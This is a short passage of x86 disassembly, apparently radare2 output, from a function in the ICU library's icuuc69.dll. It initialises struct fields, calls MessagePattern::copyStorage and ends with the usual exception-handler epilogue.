mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], 0x110000
call sym.icuuc69.dll_private:_signed_char___thiscall_icu_69::MessagePattern::copyStorage_class_icu_69::MessagePattern_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8